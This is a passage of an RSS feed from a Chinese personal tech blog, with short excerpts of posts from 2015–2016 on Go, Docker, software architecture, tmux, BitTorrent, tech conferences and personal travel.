&lt;h2 id=&#34;背景&#34;&gt;背景&lt;/h2&gt;
&lt;p&gt;Go语言主创人员之是C语言与Linux的发明人，所以Go的语法在C的基础之上取众家之精华：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;主要继承了C(func, struct，指针)&lt;/li&gt;
&lt;li&gt;包管理吸取自Java（package, import）&lt;/li&gt;
&lt;li&gt;多态吸取自Python与Ruby(duck type)&lt;/li&gt;
&lt;li&gt;并发吸取自&lt;a href=&#34;http://doc.cat-v.org/inferno/4th_edition/limbo_language/&#34;&gt;Limbo&lt;/a&gt;(&lt;a href=&#34;https://en.wikipedia.org/wiki/Communicating_sequential_processes&#34;&gt;CSP&lt;/a&gt;模型)。&lt;/li&gt;
&lt;/ul&gt;</description>
    </item>
    
    <item>
      <title>Go语言不足</title>
      <link>http://lanlingzi.cn/post/technical/2016/0718_go_insufficient/</link>
      <pubDate>Mon, 18 Jul 2016 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2016/0718_go_insufficient/</guid>
      <description>&lt;p&gt;最近公司是在疯狂地推广Go语言，我也是推广小组成员。Go语言的确很多的优点，这里并不想表扬Go语言，而是说说它的不足。&lt;/p&gt;
&lt;h2 id=&#34;生态不成熟&#34;&gt;生态不成熟&lt;/h2&gt;
&lt;p&gt;一个语言的流行，都有其背后的推动者。Go语言是由Google公司创建与推动。最近我司的高层也亲自拜访了Go语言的主创人员。Google称目前已有100+的App从Java转向Go。Google内部主要有三大语言（C++、Java、Python），之前对Go语言的公司内部的政治意义大于它的实际使用。近两年来，语言的战略地位凸显，不断地在推动Go语言的应用。&lt;/p&gt;
&lt;p&gt;目前主要使用Go语言的公司是一些创业公司或互联网公司。而这些公司采用Go语言非技术的因素主要有：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;公司软件资产积累少，不存在切换其它语言成本，使用Go语言可以轻装上阵；&lt;/li&gt;
&lt;li&gt;互联网公司的技术人员流动大，Go语言面向开发简化，招人容易，上手快；&lt;/li&gt;
&lt;/ul&gt;</description>
    </item>
    
    <item>
      <title>Go语言在线书籍收集</title>
      <link>http://lanlingzi.cn/post/technical/2016/0717_go_book/</link>
      <pubDate>Sun, 17 Jul 2016 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2016/0717_go_book/</guid>
      <description>&lt;h2 id=&#34;effective-go&#34;&gt;Effective Go&lt;/h2&gt;
&lt;p&gt;在线阅读：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://www.hellogcc.org/effective_go.html&#34;&gt;http://www.hellogcc.org/effective_go.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;go语言圣经&#34;&gt;Go语言圣经&lt;/h2&gt;
&lt;p&gt;Go语言圣经，《The Go Programming Language》 中文版本
&lt;img src=&#34;http://gopl-zh.b0.upaiyun.com/cover_middle.jpg&#34; alt=&#34;Go语言圣经&#34;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;项目主页：&lt;a href=&#34;http://github.com/golang-china/gopl-zh&#34;&gt;http://github.com/golang-china/gopl-zh&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;项目主页：&lt;a href=&#34;http://bitbucket.org/golang-china/gopl-zh&#34;&gt;http://bitbucket.org/golang-china/gopl-zh&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;原版官网：&lt;a href=&#34;http://gopl.io&#34;&gt;http://gopl.io&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
    </item>
    
    <item>
      <title>Pandoc&#43;Mardown生成Web Slide</title>
      <link>http://lanlingzi.cn/post/notes/2016/0716_pandoc_md_ppt/</link>
      <pubDate>Sat, 16 Jul 2016 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/notes/2016/0716_pandoc_md_ppt/</guid>
      <description>&lt;h2 id=&#34;背景&#34;&gt;背景&lt;/h2&gt;
&lt;p&gt;在我司PPT被称为胶片。一层层的汇报都是胶片承载，胶片也是做得非常漂亮。像我所在领域，架构师主要产出也是胶片，俨然无胶片就无架构。一方面个人非常羡慕胶片写得好（内容与外观）的人，另一方面觉得像使用MS的PowerPoint几乎要把一半的精力放在外观而不是内容上。甚至感觉到为了一个格式、一个颜色，调整都需要老半天时间。大家的胶片都做得漂亮，而你不可能也就只草草准备，尤其是给领导的胶片，人在江湖，身不由已。但做一名技术人员，内心还是比较抵触形式大于内容的胶片。昨天，一名同事给我展示了一个由Markdown生成Slide，给人感觉是耳目一新。&lt;/p&gt;
&lt;p&gt;Markdown是一种内容与形式的分享的轻量级标记语言，受到越来越多的人喜欢，只要只简单的文本编辑器，都能书写文本内容。那有什么工具能快速方便地生成Slide呢。Markdown本身是为了方便输出到HTML格式。而HTML+CSS+JS是一个开放的，可扩展的技术。自然Markdown也可以通过工具生成像PPT一样可以上下翻页的HTML Slide，同样借助CSS与JS的结合，Slide一样可以做得像PPT一样格式漂亮，动作酷炫。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>Goroutine陷阱</title>
      <link>http://lanlingzi.cn/post/technical/2016/0703_goroutine/</link>
      <pubDate>Sun, 03 Jul 2016 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2016/0703_goroutine/</guid>
      <description>&lt;p&gt;Go在语言层面通过Goroutine与channel来支持并发编程，使并发编程看似变得异常简单，但通过最近一段时间的编码，越来越觉得简单的东西，很容易会被滥用。Java的标准库也让多线程编程变得简单，但想当初在公司定位Java的问题，发现很多的同学由于没有深入了解Java Thread的机制，Thread直接New从不管理复用，那Goroutine肯定也要面临这类的问题。&lt;/p&gt;
&lt;h2 id=&#34;goroutine泄漏问题&#34;&gt;Goroutine泄漏问题&lt;/h2&gt;
&lt;p&gt;Rob Pike在2012年的Google I/O大会上所做的“Go Concurrency Patterns”的演讲上，说道过几种基础的并发模式。从一组目标中获取第一个结果就是其中之一。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>第八届中国云计算大会简纪</title>
      <link>http://lanlingzi.cn/post/technical/2016/0519_cie_cloud/</link>
      <pubDate>Wed, 18 May 2016 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2016/0519_cie_cloud/</guid>
      <description>&lt;p&gt;第一次参加由电子协会举办的云计算大会，这届是在北京国家会议中心举行，据说这一届参加的人数有1.4W人。主题为“技术融合 应用创新”。云计算走到今天，已不在是什么新概念，在中国已大规格地使用起来。作为一名技术从业者，有幸参加，虽可能得不到干货，但可听一听，看一看，启发思路。&lt;/p&gt;
&lt;h2 id=&#34;云计算是产业变革的推进器&#34;&gt;云计算是产业变革的推进器&lt;/h2&gt;
&lt;p&gt;第一场是来自工业和信息化部副部长怀（进鹏）部长致辞，领导果然是领导，带病撑着拐杖登台。整个过程是滔滔不绝地精彩分享，作一名学术官员，能脱稿是我发挥，说明他这个领域的真正专家。核心观点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;云计算是解决方案，助推产业变革。给我们日常生活变化，也给我们产业带来新结构调整&lt;/li&gt;
&lt;li&gt;云计算与大数据互为孪生兄弟，助推企业、行业和信息化解决方案起到了特别的支撑作用&lt;/li&gt;
&lt;li&gt;云计算提供低成本便捷的IT资源，提供数字均衡发展，降低数字鸿沟，大幅度降低创业门槛&lt;/li&gt;
&lt;/ul&gt;</description>
    </item>
    
    <item>
      <title>Golang Web开发</title>
      <link>http://lanlingzi.cn/post/technical/2016/0515_go_web/</link>
      <pubDate>Sun, 15 May 2016 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2016/0515_go_web/</guid>
      <description>&lt;h2 id=&#34;标准库nethttp&#34;&gt;标准库[net/http]&lt;/h2&gt;
&lt;p&gt;采用Golang来开发Web应用或Rest接口的应用还是比较容易的。golang标准库就提供对Http协议的封装，主要涉及到&lt;code&gt;net/http&lt;/code&gt;包，它包括了HTTP相关的各种函数、类型、变量等标识符。标准库的&lt;code&gt;net/http&lt;/code&gt;是支持HTTP1.1协议，而目前Go1.6也支持HTTP2.0，包放在&lt;code&gt; golang.org/x/net/http2&lt;/code&gt;,后续可能会移到标准库。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;net/http&lt;/code&gt;库中主要涉及到如下几个类型与接口：&lt;/p&gt;
&lt;h3 id=&#34;request结构体&#34;&gt;Request结构体&lt;/h3&gt;
&lt;p&gt;封装了HTTP的请求消息，其结构如下，可以很方便的地取出Method，Header与Body。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>Oracle Cloud Day见闻简纪</title>
      <link>http://lanlingzi.cn/post/technical/2016/0414_oracle_cloud_day/</link>
      <pubDate>Thu, 14 Apr 2016 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2016/0414_oracle_cloud_day/</guid>
      <description>&lt;p&gt;今天有幸参加Oracle举办的cloud day。Oracle从开始对云计算不敏感，到后来的大力投入，并购与产品整合，目前Oracle在云计算领域已涵盖IaaS，PaaS，SaaS。Oracle正借助于云计算，把帮助企业把传统的应用产品搬迁到云计算上。Oracle应用产品发发展战略三个核心阶段：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;无极限的应用产品支持：对所有目前使用Oracle OP部署方式的应用产品客户提供持续支持。&lt;/li&gt;
&lt;li&gt;下一代“云”应用产品的开发以及战略并购：基于统一标准的PaaS平台，并购整合并开发下一代的，最优的基于云的产品。&lt;/li&gt;
&lt;li&gt;切实可行的”云”之路：为客户提供各种服务和商务方案使客户以最小的投资风险采用Oracle云服务。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;从上也可以看出Oracle在云计算野心，它虽相对起步晚，但它由于在传统IT领域的优势，通过整合基础设施，平台与中间件，以及社交资源，是在云计算领域内少数几个能针对企业各种业务提供一套完整的解决方案，涵盖如下领域：&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>制作Archlinux Docker基础Image</title>
      <link>http://lanlingzi.cn/post/notes/2016/0410_archlinux_docker_images/</link>
      <pubDate>Sun, 10 Apr 2016 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/notes/2016/0410_archlinux_docker_images/</guid>
      <description>&lt;p&gt;想在Mac本上使用Docker来运行Archlinux，家里安装的是长城宽带，无奈从docker hub下载Archlinux基础Image网速无法忍受。在国内的alauda.cn镜像中心搜索到有Archlinux基础Image，可能由于在Docker使用Archlinux国内人比较少，估计alauda.cn的CDN也没有缓存Archlinux基础Image，下载同样也是龟速，下载多次超时就放弃了。&lt;/p&gt;
&lt;p&gt;正好个人还有一台老的笔记本安装了Archlinux，那何不自己做一个基础Image。说真的，还没有从零开始做过基础Image。在Docker hub搜索时发现有一个已有的脚本&lt;a href=&#34;https://github.com/docker/docker/blob/master/contrib/mkimage-arch.sh&#34;&gt;mkimage-arch.sh&lt;/a&gt;，于是把它做了些改造，制作过程记录一下：&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>软件架构一些感想</title>
      <link>http://lanlingzi.cn/post/thoughts/2016/0319_arch_diathesis/</link>
      <pubDate>Sat, 19 Mar 2016 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/thoughts/2016/0319_arch_diathesis/</guid>
      <description>&lt;h2 id=&#34;软件架构&#34;&gt;软件架构&lt;/h2&gt;
&lt;p&gt;软件系统架构不只是软件本身架构，它是一个全系统、全网络的架构，从层次上由低到高分为：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;程序架构&lt;/li&gt;
&lt;li&gt;系统架构&lt;/li&gt;
&lt;li&gt;产品架构&lt;/li&gt;
&lt;li&gt;生态、商业模式的架构&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;任何一个架构师，都是需要重点解决某方面的尖锐问题，同时避免在不合适的场景下，一种技术、一类框架或一种架构模式被滥用。架构就需要对整体框定好范围与约束。&lt;/p&gt;
&lt;p&gt;架构设计不可能面面俱到，要解决或是发挥关键路径上的资源合理有效的最大价值。一个好的架构，不会随着时间或业务的变换，而需要进行大的破坏性的变化。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>Grub引导Win10</title>
      <link>http://lanlingzi.cn/post/notes/2016/0313_grub_win10/</link>
      <pubDate>Sun, 13 Mar 2016 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/notes/2016/0313_grub_win10/</guid>
      <description>&lt;p&gt;个人有两台笔记本电脑，一台Sony安装Win10，平时给岳父上上网，自己使用比较少；另一台是MBA，自己在捣腾点代码，写点东西。今天心血来潮，想体验一个KDE的plasma 5，于是又来折腾Sony安装双系统。由于在使用MBA之前，也在Sony上安装过Archlinux，不过后来安装Win10，又把Archlinux删除了。这次的双系统，Linux还是选择Archlinux。&lt;/p&gt;
&lt;p&gt;安装Archlinux按照Wiki一路下来很顺利，最后安装plasma，使用了一下，感觉也不够如此，可能是使用Mac OSX时间长了的原因。后面发现想回到Win10，发现Grub默认没有生成Win10的引导菜单。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>软件设计原则</title>
      <link>http://lanlingzi.cn/post/technical/2016/0306_arch_principle/</link>
      <pubDate>Sun, 06 Mar 2016 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2016/0306_arch_principle/</guid>
      <description>&lt;p&gt;软件也像人一样，具有生命力，从出生到死亡，会经历多种变化。软件架构设计也不是一蹴而就的，是不断地演进发展。但为了能较好的发展，在软件设计时需要考虑一些原则。&lt;/p&gt;
&lt;h3 id=&#34;清晰原则使用简洁接口简单部件组合&#34;&gt;清晰原则：使用简洁接口，简单部件组合&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;编程的本质就是要控制复杂度，后期维护会占用大部分的时间。&lt;/li&gt;
&lt;li&gt;降低整体复杂度，用清晰的接口把若干简单模块组合成一个复杂的系统。&lt;/li&gt;
&lt;li&gt;对外隐藏细节，“不要与陌生人说话”。&lt;/li&gt;
&lt;li&gt;多数问题局限天一个局部，不要影响到全局。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;小结：本质是分而治之，复杂问题简单化，抽象框架，有序组全。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>使用tmux</title>
      <link>http://lanlingzi.cn/post/notes/2016/0221_mac_tmux/</link>
      <pubDate>Sun, 21 Feb 2016 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/notes/2016/0221_mac_tmux/</guid>
      <description>&lt;h2 id=&#34;什么是tmux&#34;&gt;什么是tmux&lt;/h2&gt;
&lt;p&gt;&lt;a href=&#34;http://tmux.github.io/&#34;&gt;tmux&lt;/a&gt;是一个支持多会话独立运行的优秀的终端复用软件。它类似&lt;a href=&#34;http://www.gnu.org/software/screen/&#34;&gt;GNU Screen&lt;/a&gt;，自于OpenBSD，采用BSD授权。使用它最直观的好处就是，通过一个终端登录远程主机并运行tmux后，在其中可以开启多个控制台而无需再“浪费”多余的终端来连接这台远程主机。&lt;/p&gt;
&lt;h2 id=&#34;tmux的使用场景&#34;&gt;tmux的使用场景&lt;/h2&gt;
&lt;p&gt;Mac自带的Iterm2很好用啊。既支持多标签，也支持窗体内部Panel的分割，为什么还要用tmux？&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;与VIM配合使用，打造出更高效、更优雅的终端工具。尤其是在当前大屏幕显示器下，多标签和分割窗体，无缝跳转。既可使用vim来写代码，也可使用tmux来查询代码编译与支行结果。&lt;/li&gt;
&lt;li&gt;提供了一个窗体组随时存储和恢复的功能。调试程序，开了一堆窗口。出去吃了个饭，发现SSH超时了，如果使用tmux就attach就能找回原来打开的那些窗口。&lt;/li&gt;
&lt;/ul&gt;</description>
    </item>
    
    <item>
      <title>软件架构设计</title>
      <link>http://lanlingzi.cn/post/notes/2016/0215_about_soft_arch/</link>
      <pubDate>Mon, 15 Feb 2016 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/notes/2016/0215_about_soft_arch/</guid>
      <description>&lt;h2 id=&#34;什么是软件架构设计&#34;&gt;什么是软件架构设计&lt;/h2&gt;
&lt;p&gt;依稀记得公司的软件架构培训材料中说到软件架构=组件+交互。最近读温昱的&lt;a href=&#34;http://baike.baidu.com/link?url=FwG7S8RSOkY8BzeZ1MBRSppAkJsTZZZTHRlj8wjvq7r4BPowUlimOuVUyZusyrUvaYXurh8hqxF3O0FTxA-8c_&#34;&gt;《软件架构设计》&lt;/a&gt;才知道这只是其中一大阵营的观点。而软件架构在定义上分为&lt;code&gt;“组成派”&lt;/code&gt;和&lt;code&gt;“决策派”&lt;/code&gt;两大阵营。“组成派”认为软件架构是将系统描述成计算组件及组件之间的交互；而“决策派”认为软件架构包含了一系列的决策。事实上，从我司实际操作来看，两种观点并不是互斥的，而是相辅相成。两种观点只是站在不同的角度来看待软件架构。架构师在分割组件模块时，选择备选方案时，也是会不得不去作出各种决策，架构没有最完美的，只有在特定场景需求下最合适的。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>软件开发知行合一</title>
      <link>http://lanlingzi.cn/post/thoughts/2016/0131_unity_knowledge_action/</link>
      <pubDate>Sun, 31 Jan 2016 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/thoughts/2016/0131_unity_knowledge_action/</guid>
      <description>&lt;p&gt;最近在走读团队的代码，有时实在是看不下去。不是因为他们的代码编写有很多Bugs，而是没有设计实现太复杂了。当面对众多的需求需要快速实现，没有几个人会去思考代码怎么写结构才更合理，而是在不断去搬砖垒需求。当我去咨询他们为什么要这样实现时，每个人能只能说出其一，不知其二。即使自己写的代码，也不知道当初为什么这么实现。&lt;/p&gt;
&lt;p&gt;同时，我们团队中不乏有各种兴趣小组。例如学习新的技术框架，交流设计模式，讨论重构技巧、性能优化经验。而实际在操作层面上，代码却正如前面所讲，有时真的不堪入目。正好这近在看王阳明传，突然想到我们没有&lt;code&gt;知行合一&lt;/code&gt;啊。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>重构已死</title>
      <link>http://lanlingzi.cn/post/technical/2016/0123_refactor_death/</link>
      <pubDate>Sat, 23 Jan 2016 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2016/0123_refactor_death/</guid>
      <description>&lt;p&gt;上周在食堂吃饭，遇到同事聊起最近的系统重构，她说这一批的新员工不如13年的一批，就一个看似简单的问题也是折腾很久，重构的周期越拉越长。我作为这次的重构的特性SE，可以说也是硬着头皮上。我是越来越反感重构，尤其是涉及到多个模块的重构。在新年的聚餐上，我说我给你挖了坑，你来填坑，让我感到非常惭愧的，即又不得做这些事。&lt;/p&gt;
&lt;p&gt;在现阶段项目交付变得越来越难，一方面我们面对众多的需求，做还是不做并不是你能轻易决定的；而另一方面我们又想从架构上解决可以快速满足需求。但本质的是这几个月内，人的技能与意识没有根本性的变化。在大家没有主人翁的精神下，说来说去也是为了需求在垒代码。即使你想从代码结构上重新设计，让系统更松的耦合性，更好的扩展性。受于项目进度冲击，以及代码实现者的被动，最终也会变得让你不想回头多看一眼。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>Taipei-Torrent源码分析</title>
      <link>http://lanlingzi.cn/post/technical/2016/0117_torrent_go/</link>
      <pubDate>Sun, 17 Jan 2016 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2016/0117_torrent_go/</guid>
      <description>&lt;p&gt;提到P2P，总会少不了BitTorrent。BitTorrent是一种P2P协议。BitTorrent协议是由程序员Bram Cohen在2001年四月份设计的，最终版本在2008年确定。&lt;/p&gt;
&lt;h2 id=&#34;bittorrent协议简介&#34;&gt;BitTorrent协议简介&lt;/h2&gt;
&lt;p&gt;一个BitTorrent的文件在网络传输过程，由以下几个部分组成：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;WEB服务器&lt;/li&gt;
&lt;li&gt;文件元信息(metainfo)&lt;/li&gt;
&lt;li&gt;BitTorrent Tracker&lt;/li&gt;
&lt;li&gt;原始资源发布者&lt;/li&gt;
&lt;li&gt;目的端用户浏览器&lt;/li&gt;
&lt;li&gt;目的端用户下载者&lt;/li&gt;
&lt;/ul&gt;</description>
    </item>
    
    <item>
      <title>软件分发加速</title>
      <link>http://lanlingzi.cn/post/technical/2016/0116_speed_sw_distribute/</link>
      <pubDate>Sat, 16 Jan 2016 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2016/0116_speed_sw_distribute/</guid>
      <description>&lt;p&gt;&lt;img src=&#34;http://image.xinmin.cn/2011/04/06/20110406151112514943.jpg&#34; alt=&#34;balance&#34;&gt;&lt;/p&gt;
&lt;h2 id=&#34;背景&#34;&gt;背景&lt;/h2&gt;
&lt;p&gt;在云环境下，服务器（物理机）或虚拟机越来越多，存在同一个应用软件需要大规模地部署场景。传统的方式下是搭建一个软件仓库，由物理机或虚拟机节点直接从软件仓库下载。如果采用sftp或http协议，则只能做到从一个中心软件仓库分发软件包给其它的节点，若给上百台的节点同时分发同一软件包，则存在受带宽、负载限制等因素，导致分发的速度就会比较慢。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>如何看待Docker</title>
      <link>http://lanlingzi.cn/post/technical/2016/0107_docker/</link>
      <pubDate>Thu, 07 Jan 2016 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2016/0107_docker/</guid>
      <description>&lt;p&gt;&lt;img src=&#34;http://lanlingzi.cn/images/docker/docker_ecosystem.jpg&#34; alt=&#34;docker ecosystem&#34;&gt;&lt;/p&gt;
&lt;p&gt;从国内来看，从14年的发迹，到15年的红火。基于Docker的国内创业公司不停的涌现，Docker的概念不断地炒作。软件界似乎人人在谈论Dcoker，给我的感觉就像中国大妈跳广场舞一样，歌声大，动作乱，到底有没有用，难说。毕竟Docker只是一项技术，技术是否能成功应用，给你的产品带来价值才是最重要的。下面是个人一些对Docke的看法与见解，可能有不对之处，望交流赐教：&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>7秒时光</title>
      <link>http://lanlingzi.cn/post/stories/2016/0103_7s_time/</link>
      <pubDate>Sun, 03 Jan 2016 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/stories/2016/0103_7s_time/</guid>
      <description>&lt;p&gt;&lt;img src=&#34;http://lanlingzi.cn/images/7stime/IMG_8337.jpg&#34; alt=&#34;image1&#34;&gt;
&lt;img src=&#34;http://lanlingzi.cn/images/7stime/IMG_8235.jpg&#34; alt=&#34;image2&#34;&gt;&lt;/p&gt;
&lt;p&gt;三天的元旦时间很快就过去，前两天是窝在家搞我这个网站。今天怎么也得出去走走，于是老婆约上她的几位好友，说去莲塘边的罗湖5号绿道感受一下大自然。天公有点不作美，一直下着毛毛细雨，但是我们还是意识坚定，风雨无阻。当我们一行7人踏上路程，蓦然发现朦胧细雨下的水库与5号绿道，别有一番诗情画意，望着不远的仙湖与梧桐山，他们就像一幅幅山水水墨画，恨不得把她们都收入到相机中。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>新年新目标</title>
      <link>http://lanlingzi.cn/post/stories/2016/0101_new_year/</link>
      <pubDate>Fri, 01 Jan 2016 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/stories/2016/0101_new_year/</guid>
      <description>&lt;p&gt;韶华易逝，往昔不再。时间已翻到2016年，在15年的12月份，忽然做了一个决定，注册了lanlingzi.cn这个域名，开始鼓励自己写写东西。原由是在15年的下半年，工作上做一个重大的调整，暮然发现自已写东西有时真让人费解。这个域名上已有的文章，是我之前在CSDN上一些记忆，以及自已电脑上留下的文档。虽然在公司也会写写技术博文，但那些更倾向于技术的细节与程序语言，对问题的思考与见解少了一些。&lt;/p&gt;
&lt;p&gt;在16年的计划目标是每个月一到两篇，争取多写些有思想，有见解的干货。经过这几天的梳理，才有了这个网站。写东西是一个比较费时费脑力的事儿，甚至比写代码来还难。苦于自己的文笔，写完之后，有时连自己都看不下去，一堆的错别字，语句不通顺。有时，脑子中是飞快地转，好似有千言万语，下笔时却不知从何写起。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>虚拟与现实</title>
      <link>http://lanlingzi.cn/post/stories/2015/1231_debian_ian_die/</link>
      <pubDate>Thu, 31 Dec 2015 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/stories/2015/1231_debian_ian_die/</guid>
      <description>&lt;p&gt;&lt;img src=&#34;http://img.article.pchome.net/00/37/34/79/pic_lib/s960x639/Operating_Systems_015s960x639.JPG&#34; alt=&#34;Debian&#34;&gt;&lt;/p&gt;
&lt;p&gt;万万没想到，在即将迎来2016年时，微信科技新闻中都在转发 &lt;a href=&#34;http://www.leiphone.com/news/201512/Rnum0JX3yn5sxU3l.html?t=1451547845009&#34;&gt;“Debian创始人Ian Murdock离奇死亡，曾发推表示要自杀”&lt;/a&gt;。作为一个对Debian系Linux的忠实爱好者，有种莫名的感伤，对大神的离去表示衷心的哀悼。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>参加ArchSummit北京站感受</title>
      <link>http://lanlingzi.cn/post/technical/2015/1227_bj_archsummit/</link>
      <pubDate>Sun, 27 Dec 2015 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2015/1227_bj_archsummit/</guid>
      <description>&lt;p&gt;&lt;img src=&#34;http://q.infoqstatic.com/ASSZ2015/LOGO/AS-LOGO358x146.png&#34; alt=&#34;ArchSummit&#34;&gt;&lt;/p&gt;
&lt;p&gt;参加ArchSummit北京站已有一周时间，一直没有时间来梳理一下。整体来说，这次的北京之行，不是很满意，可能是这类会议听多的原因，感觉ArchSummit的质量是越来越差了，没有什么新鲜感，觉得不值那6K的价格。&lt;/p&gt;
&lt;h2 id=&#34;组织不足&#34;&gt;组织不足&lt;/h2&gt;
&lt;p&gt;12月份的北京已是非常的干冷，可能由于我在南方呆久了，一到北京是极其地不适应，在北京三天多的时间，嘴唇开裂，到现在还没有完全好干净。离开北京的那一天，正好又感受了一下北京正宗的霾，帝都的人们活得真不容易啊。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>我为什么喜欢GoLang</title>
      <link>http://lanlingzi.cn/post/technical/2015/1113_why_love_go/</link>
      <pubDate>Fri, 13 Nov 2015 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2015/1113_why_love_go/</guid>
      <description>&lt;p&gt;&lt;img src=&#34;http://img3.imgtn.bdimg.com/it/u=3850601748,68654193&amp;amp;fm=21&amp;amp;gp=0.jpg&#34; alt=&#34;gopher&#34;&gt;&lt;/p&gt;
&lt;p&gt;从8月份到现在，一直在公司尝试用Go写点东西。虽然我们几乎是清一色的Java开发，但我还是愿意在同事之间推广Go，有时间还是学学Go吧。&lt;/p&gt;
&lt;h2 id=&#34;认识go&#34;&gt;认识Go&lt;/h2&gt;
&lt;p&gt;我大概是一个不太执着的语言控，什么语言喜欢玩玩，在大约在12年时，就开始自学Go，但仅仅是看看语法，写写Helloword之类的小程序而已。在13年底，我被抽去分析Cloud Foundry的架构与实现机制。当时的CF是V2版本，其中的GoRouter，HM9000已采用Go重写，另外消息总线NATS也有Go语言版本。而我又重点分析了NATS，HM，以及部分GoRouter的Go源码。发现居然Go能写出如此简练的代码。性能验证时，又发现Go版本的NATS比Ruby版本的强得不是一点点，我们在单板上测试出有50万+的QPS。14年做融合架构，又把我们原有的消息中间件RabbitMQ换成了NATS。当时的出发点主是能与CF通过NATS融合拉通，另外是看重它的高性能。而RabbitMQ是erlang写的，部门熟悉erlang人几乎没有，维护成本高。当然到现在来看，NATS太简单了，并不是个消息队列，很多的特性都没有。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>Mesos与K8S的区别</title>
      <link>http://lanlingzi.cn/post/technical/2015/1020_k8s_mesos/</link>
      <pubDate>Tue, 20 Oct 2015 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2015/1020_k8s_mesos/</guid>
      <description>&lt;p&gt;最近经常有同事问道，mesos与k8s有什么不同？平时对k8s要研究多一些，对mesos仅限于一些网上的了解。前一段时间去参加阿里云栖大会，正好也有一场是由于Mosos及Mesosphere公司的人来现身说“法”，听了之后对mesos算了解更深一点吧。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>成都映象记</title>
      <link>http://lanlingzi.cn/post/stories/2015/0926_chengdu/</link>
      <pubDate>Sat, 26 Sep 2015 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/stories/2015/0926_chengdu/</guid>
      <description>&lt;p&gt;风味十足的四川话，风姿卓然的川妹子，麻辣干香的风味菜，是我是对成都的初步映象。有“天府之国”、“蜀中苏杭”美誉的成都蓉城，在小说与故事中都有耳闻，向往已久。在上高中时，就想报考虑成都的高校，无奈分数不够高，被调济到北方。这次作为招聘技术面试官出差来了一趟成都，了却了一桩十几年前的心愿。&lt;/p&gt;
&lt;p&gt;作为面试官，我们必须西装革履，多年的散慢习惯，反而不太适合。我们下榻的酒店，环境与生活还算不错，但是地理位置有点偏，即使晚上空闲下来，也难以感受到成都的气息。招聘其实是个苦差事，连续二天集中的面试时间，已让我有些疲倦。第三天中午面试完最后几个之后，下午忽然空闲下来。秘书说下午面试预约已结束，我们几个来自深圳的同事可以去成都逛逛。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>参加CNUTCon全球容器大会感受</title>
      <link>http://lanlingzi.cn/post/technical/2015/0902_bj_cnutcon/</link>
      <pubDate>Wed, 02 Sep 2015 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2015/0902_bj_cnutcon/</guid>
      <description>&lt;p&gt;&lt;img src=&#34;http://lanlingzi.cn/images/docker/cnut.png&#34; alt=&#34;cnutcon&#34;&gt;&lt;/p&gt;
